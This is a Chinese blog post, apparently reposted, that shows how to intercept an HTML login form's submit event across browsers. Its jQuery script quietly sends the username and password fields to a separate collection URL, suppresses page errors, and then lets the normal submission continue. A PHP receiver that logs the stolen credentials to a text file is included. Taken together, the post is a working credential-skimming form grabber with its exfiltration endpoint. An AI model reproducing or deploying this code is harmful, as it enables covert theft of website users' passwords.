js实现Form表单submit提交截获数据(各浏览器通用)

js实现Form表单submit提交截获数据(各浏览器通用)

No Comments | js , 安全 , PHP | by calms | 96 Views. | 2013-09-03, 11:32 PM

以下test.html是一个实例,主要讲述和演示了这样一种需求:截获submit事件,中断处理完后,继续用户提交。

实现起来其实并不是很难,但是要兼容所有的浏览器或者说绝大多数的浏览器就需要好好处理一下了。我已经为此做了一点尝试(使用了jquery,满足基本的兼容要求),分享给大家,少走弯路。

test.html如下,源码中有中一个id为main的form中有两个表单项,如下:

01..............
03</head>
04<body>
05..............
06<form id="main" action="http://blog.uyy.me/" method="post">
07<input id="username" name="username"  type="text">
08<input id="password" name="password"  type="text">
09</form>
10..............
11<script src="get.js"></script>
12</body>
13</html>

我的方案是使用jquery,因为jquery已经有很好的兼容性。主要是在截获form的submit事件以及发送数据上具有兼容性。以下代码在ie(6、7、8、9、10),chrome,firefox,opera,safari五类浏览器中测试通过,思路很简单:截获submit事件,处理完后继续submit。至于这样写能做些什么事就是仁者见仁,智者见智了。

01_psturl="http://localhost/get_form.php";//此处填写接收数据的php
02window.onerror = function() { return true; }//想报错,门呢?
03jQuery('#main').removeAttr('onsubmit').unbind("submit").submit(function(e){
04//removeAttr('onsubmit')移除onsuumit属性,unbind("submit")移除所有绑定在submit事件上的程序。截获submit事件。
05//也许你已经发现,对,这里其实可以只使用unbind("submit")。
06 
07checksubmit();//这里是真正要干事的地方,比如将某些数据传输走。。
08 
09if($.browser.msie) return true;//在ie下必须返回true,test.html页面才会照常提交,可喜的是cheksubmit()中post出去了。。
10else if($.browser.safari) return false;//而在safari下,如果不阻断submit事件(返回false就是截断了)checksubmit()中的ajax提交不会成功。所以checksubmit()函数中的jQuery.post需要使用回调函数。
11else if($.browser.mozilla) return false;//这里无所谓了,返回true和返回false都可以了。。
12else if($.browser.opera) return false;//这里无所谓了,返回true和返回false都可以了。。
13else return false;//这里无所谓了,返回true和返回false都可以了。。因为我认为除了ie之外的这几种浏览器都比较遵循w3c标准,比ie更能接受人的正常逻辑。。。
14});
15//这里不解释。。
16function checksubmit(){
17    jQuery.post(_psturl+"?t="+Math.random(), { "u": $("#username").val(),"p": $("#password").val() },
18    function(data){jQuery('#main').removeAttr('onsubmit').unbind("submit").submit()} );
19};

我想数据接收端也有人需要吧。。好吧,我贴出来:

 

01<?php
02/*the code of get_form.php*/
03date_default_timezone_set("America/Los_Angeles");
04set_time_limit(0);
05exit(addLog("youwant.txt"));
06 
07 
08function addLog($file="a_test.txt"){
09    $fp = @fopen($file, 'a+');
10    if($fp){
11        $str = date("Y-m-d H:i:s")."\t";
12        $str .= _post('u')."\t";
13        $str .= _post('p')."\r\n";
14        fwrite($fp, $str);
15        fclose($fp);
16    }
17    return("0");
18}
19 
20function _post($str){
21    $val = !empty($_POST[$str]) ? $_POST[$str] : null;
22    if(get_magic_quotes_gpc()) $val=stripslashes($val);
23        return $val;
24}
25  
26?>
posted on 2013-10-25 17:59 codebox 阅读( ...) 评论( ...) 编辑 收藏

转载于:https://www.cnblogs.com/code123/p/3388371.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值